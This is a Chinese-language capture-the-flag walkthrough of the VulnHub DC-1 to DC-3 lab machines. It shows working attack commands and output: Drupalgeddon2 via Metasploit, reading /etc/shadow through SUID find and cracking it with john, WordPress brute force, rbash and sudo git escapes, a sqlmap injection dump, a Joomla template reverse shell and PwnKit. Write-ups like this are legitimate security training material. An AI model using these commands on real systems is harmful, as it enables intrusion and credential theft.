「 DC 」是 vulnhub 上的系列靶机,因为参加的某个培训课程用 DC1-3 这三个环境作为练习题目,所以在此记录一下复现的过程

网络设置

靶机使用的是静态 IP 地址和虚拟机的「桥接网络」模式,这个模式会把宿主机所在网段的 IP 分配给虚拟机,而宿主机所在的网段未必和靶机设置的静态网段相同,这就导致网卡无法正常启动

那么首先要进入系统修改 /etc/network/interfaces 文件,改成 DHCP 的方式获取 IP。因为靶机没有提供系统用户密码,我们需要修改 GRUB 的启动参数进入系统1

以靶机的 Debian 系统为例(其他系统会有区别),进入启动菜单后按 e 编辑

/ox-hugo/_20241225_234416screenshot.png

找到 ro( read-only ),改成「可写」权限并指定启动 shell

rw signie init=/bin/bash
/ox-hugo/_20241225_234645screenshot.png
/ox-hugo/_20241225_234718screenshot.png

进入系统后编辑 /etc/network/interfaces,把 eth0 网卡改成 DHCP

allow-hotplug eth0
iface eth0 inet dhcp

自动获取 IP

dhclient eth0

然后重启

DC-1

nmap -sV 收集端口信息

22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80 端口是 Drupal CMS,应该是 CVE-2018-7600 但是我用 nuclei 没扫出来🤔

用 metasploit 的 drupal_drupalgeddon2 模块直接拿到 shell

use unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.124.5
run
...
meterpreter > shell -it

网站根目录 flag1.txt 中有提示

Every good CMS needs a config file - and so do you.

根据提示搜一下配置文件

find . -name settings*
# ./sites/default/settings.php
<?php

/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
 *
 */

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);
...
Code Snippet 1: settings.php

尝试登录 mysql,注意 -p 参数和密码间不要有空格

mysql -udbuser -pR0ck3t

在 drupaldb.users 表里找到三个用户,密码都是经过加密的

namepass
admin$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred$S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
test$S$DTwWb.MjZ8ihU.gMo1vZu32NCKL5p6YJpDVqgorKBibR/bdHK6/k

直接破解密文比较难,而且官方提供了密码的加密脚本,我们可以用脚本加密一个新密码替换 admin 的原密码2

www-data@DC-1:/var/www$ php ./scripts/password-hash.sh 1234

password: 1234          hash: $S$DztFxVCdeC3ja0/0GJ.ZkDa01hC/FD5zgb6Ar3/vb1Gzfqu2rhAK
mysql> update drupaldb.users set pass='$S$DztFxVCdeC3ja0/0GJ.ZkDa01hC/FD5zgb6Ar3/vb1Gzfqu2rhAK' where name='admin';

修改密码后登录后台,在 Content 页找到 flag3,又是新的提示

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

这里 PERMS 和 FIND 两个大写单词给了提示,应该是用 find 的 SUID 提权读取 shadow 文件内容

find . -exec cat /etc/shadow \; -quit
root:$6$91zYUPrB$A/i0KqmGAi.forD5idrSFrDlPGLDoHr33g0gTfW8oJsCBptPsNRNoc0XoqkCwvFU4XMqrocm4KYtPBLqorFpW0:19823:0:99999:7:::
daemon:*:17946:0:99999:7:::
bin:*:17946:0:99999:7:::
sys:*:17946:0:99999:7:::
sync:*:17946:0:99999:7:::
games:*:17946:0:99999:7:::
man:*:17946:0:99999:7:::
lp:*:17946:0:99999:7:::
mail:*:17946:0:99999:7:::
news:*:17946:0:99999:7:::
uucp:*:17946:0:99999:7:::
proxy:*:17946:0:99999:7:::
www-data:*:17946:0:99999:7:::
backup:*:17946:0:99999:7:::
list:*:17946:0:99999:7:::
irc:*:17946:0:99999:7:::
gnats:*:17946:0:99999:7:::
nobody:*:17946:0:99999:7:::
libuuid:!:17946:0:99999:7:::
Debian-exim:!:17946:0:99999:7:::
statd:*:17946:0:99999:7:::
messagebus:*:17946:0:99999:7:::
sshd:*:17946:0:99999:7:::
mysql:!:17946:0:99999:7:::
flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWCKxVW80:17946:0:99999:7:::

拿到 shadow 的内容后直接给 john 破解得到弱口令

❯ john dc1-shadow
...
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
123456           (root)
orange           (flag4)

先 ssh 登录 root,然后找到 /root/thefinalflag.txt

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

啊?通关了?那 flag4 是啥?

登录 flag4 有个提示 /home/flag4/flag4.txt 🤔

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?

DC-2

nmap 扫一下只扫到 80 端口,直接用 IP 访问会被重定向到 http://dc-2/ ,需要修改 hosts 文件

进去后知道这是个 WordPress 站点,并且找到第一个提示(flag 1)

/ox-hugo/_20241226_092122screenshot.png

首先 nuclei 扫一下 WordPress,用 wpscan 也行,但是 arch 源仓库的 wpscan 貌似出了个 bug

/ox-hugo/_20241226_092508screenshot.png

还是用 wpscan 扫比较好,nuclei 着重漏洞「检测」而不是「利用」,扫出来的用户名不全

如何你和我一样用的是 Arch 系统,从源仓库下载的 wpscan 可能会出现错误

cannot load such file -- ffi_c

直接用 gem(ruby 的包管理器)来下载就没问题了

gem install wpscan
wpscan --url http://dc-2 -e
/ox-hugo/_20241226_102417screenshot.png

扫出来一个登录页和用户名枚举漏洞,再联系到 flag1 提示的 cewl 是一个字典生成工具,所以尝试对枚举出来的用户名进行暴力破解

先构建一个密码字典,然后结合 wpscan 扫出来的用户名暴力破解

cewl -w pass.txt http://dc-2
wpscan --url http://dc-2 -U admin,jerry,tom -P pass.txt

tom 和 jerry 都扫出来了弱口令

/ox-hugo/_20241226_102937screenshot.png

登录进去找到新提示,似乎 WordPress 这条路是走不通的,得另辟蹊径

/ox-hugo/_20241226_094429screenshot.png

发现一开始用 nmap 的默认参数扫端口漏了一个,应该扫全端口的😅

PORTSTATESERVICEVERSION
80/tcpopenhttpApache httpd 2.4.10 ((Debian))
7744/tcpopensshOpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)

尝试一下发现 tom 的 wordpress 密码和 ssh 密码相同,直接登录

ssh tom@dc-2 -p 7744

发现 shell 是 rbash,很多命令无法使用,可以用 compgen -c 看看可以执行的命令有哪些

看到可以运行 vi(其实运行的是 vim)那么参考 GTFOBins 进行提权

vi --cmd ':set shell=/bin/bash|:shell'

之后再执行命令会显示 command not found 但其实已经拿到功能完整的 bash shell 了,更新一下 PATH 环境变量即可执行常用命令

export PATH=/bin:/sbin:/usr/bin:/usr/sbin
cat flag3.txt
# Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

根据 flag3 的提示使用 su 切换到 jerry 用户,密码是之前扫出来的 wordpress 密码,读到 flag4(tom 也能读到)

cat /home/jerry/flag4.txt
# Good to see that you've made it this far - but you're not home yet.
# You still need to get the final flag (the only flag that really counts!!!).
# No hints here - you're on your own now.  :-)
# Go on - git outta here!!!!

还有最后一个 flag,而且提示了 git,自然想到利用 git 提权

首先检查一下 jerry 的 sudo 列表,可以执行 git(tom 没有 sudo 权限)

sudo -l
# User jerry may run the following commands on DC-2:
#     (root) NOPASSWD: /usr/bin/git

虽然不允许设置 PAGER 环境变量,但可以先进入默认 pager 再执行命令

sudo git -p help config
!/bin/bash
cat /root/final-flag.txt
 __    __     _ _       _                    _
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

DC-3

先扫一下全端口,这次确定只有一个 80,是一个 Joomla 站点

/ox-hugo/_20241226_145848screenshot.png

nuclei 直接扫出来后台和 CVE-2017-8917

/ox-hugo/_20241226_145936screenshot.png

用 sqlmap 翻一下数据库,找到 admin 的用户名密码

sqlmap -u http://192.168.220.165/index.php\?option\=com_fields\&view\=fields\&layout\=modal\&list\[fullordering\]\=x\* -D joomladb -T '#__users' -C name,username,password --dump --batch
/ox-hugo/_20241226_153054screenshot.png

Joomla 的密码用 bcrypt 加密过,一开始我想的是像前面 DC-1 一样修改 admin 的密码,但不知道是不是表名有特殊符号的问题,用 sqlmap 一直没有修改成功。然后改用 john 破解出密码为 snoopy

echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > pass && john pass

拿到管理员密码后登录 joomla 后台,可以修改模板文件,通过 PHP 反弹 shell3

/ox-hugo/_20241226_194826screenshot.png

访问 /templates/beez3/error.php 页面触发,拿到 www-data 用户权限的 shell

下一步是提权,把 linux-exploit-suggester 脚本传上去检查一下,发现不少提权风险点,我这边用了 PwnKit

/ox-hugo/_20241226_195428screenshot.png

需要把 poc 源码传到靶机上面编译,不然可能因为 CPU 架构不同执行不了。提权成功后拿到 root 用户目录下的 flag

/ox-hugo/_20241226_195938screenshot.png